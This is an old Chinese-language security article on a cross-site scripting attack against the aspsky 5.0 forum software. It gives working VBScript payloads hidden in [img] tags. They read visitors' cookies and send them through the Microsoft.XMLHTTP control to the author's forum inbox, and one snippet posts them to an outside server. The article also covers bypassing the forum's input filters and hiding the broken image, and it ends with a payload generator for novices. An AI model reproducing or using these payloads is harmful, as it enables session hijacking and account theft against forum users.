利用Microsoft.XMLHTTP控件发送COOKIE

作者：czy <[e-mail]>
出处：http://www.nsfocus.net
日期：2003-09-03

(注意由于论坛会对文章中的一些字符作处理，所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm测试代码)

    跨站脚本攻击想必各位都已经是很熟悉了，但是得到cookie的时候一直有一个
问题：总是要用window.open弹一个窗体出来然后发送cookie，这样隐秘性
就大打折扣了。以前我想了一个在网页中用insertadjacenthtml方法来注入html语句
的办法勉强可以作到发送cookie不出现ie窗口，但是在实际使用中有时会遇到ie出错。

    没有更好的办法了吗？以前在研究vbs病毒自动升级的时候用到一个microsoft.xmlhttp
控件(该控件是win98/2k上都默认自带的东东,并且它是ie认为safe的控件!),通过它我们
可以在网页中给网站发送http请求，可以是post也可以是get.

    好了思路已经到这儿来，下面我们可以实战一下，我以aspsky 5.0 0320为例子。
我们知道<img src="xxxxxxx">在src中可以写入vbscript:这样的语句。。比如
<img src="vbscript:a=(msgbox(now))">,但是我们只能执行一个语句，比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">这样都将是错误的!
怎么办法呢？在vbs中我们可以用execute语句，在js中我们可以使用eval语！
比如：<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval('alert(\'nsfocus\');alert(\'czy\')')">

   还没有晕吧？上面你可能会注意到用vbs的execute语句时双引号要换为"这是因为：
在vbs中单引号要括起字符串，必须是两个单引号代表一个又引号，并且在双引号内！
所以在execute语句中我们不能用单引号，而直接用"呢，在html进行引号匹配的时候
会和src="后的引号匹配，所以我们只能用"代替了。

   引号的问题解决了，在实际应用中aspsky还会对我们的代码进行处理：
1:如果发现script字串，会在前面加上一个空格
2:如果发现http字串会认为是一个url，并在两边加上<a>元素
3:如果发现空格会用 代替

  解决问题：
1:vbscript用vbscript代替
2:http用,""ht""+""tp...代替(vbs中引号括引号里面的应用多一对,+代表连接符)
3:空格用 代替（注不是）

   在最后就是发送cookie的问题:
1:控件在本地可以get,post任意的网站，但是在网页中竟然只能
get,post当前服务器。。。。要不然ie就会说拒绝仿问！
2:cookie中不能有&等在url中有特殊交意的字符

  解决问题：

1:只能发给当前服务器，那么可以把cookie发到你在论坛上的注册的用户的邮箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替换函用，在例子中我把"&"换成了"-"

问题都解决了下面是实际的例子：
动网aspsky 5.0 0320测试成功

//----------------------

[img]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""microsoft.xmlhttp""):http.open ""get"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")[/img]

说明：把cookie发给czy用户,邮件标题叫news
//----------------------


另控件的正常用法：
<script language=vbs>
dat=document.cookie
set http=createobject("microsoft.xmlhttp")
http.open "post","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>




  让代码更完美，现在cookie已经乖乖的在我们的邮箱里了，但是有一个小问题由于图片不
能正常的显示会是一个小叉，旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人
生疑。

解决思路：
一个网页中的所有img元素通过document.imanges都能例举到，并且可以设置它们的大小，当width=0时就
相当于hidden了.通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片.另外比较时
大于符用>代替，0用0代替!

代码:
[img]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next")[/img]


实际应用的代码：
[img]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""microsoft.xmlhttp""):http.open ""get"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")[/img]


//-------------------方便菜鸟使用：）

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <font size="5" color="red">aspsky 5.0 0320 cooki搜集器--czy <form name="form1"> 设置发送地址:<input type="text" name="loc" size="50"> ▲发送地址形如:www.nnit30.com/newbbs(newbbs是网站中论坛的安装目录最后不用加/,也不要http://头) 发送的用户名:<input type="text" name="who" size="20">------------- <input type="button" name="change" value="生成代码" onclick="changeq()"> 生成的代码:)<textarea name="area" rows="10" cols="100"> /textarea>
[ctrl+a 全选 注:如需引入外部js需刷新才能执行]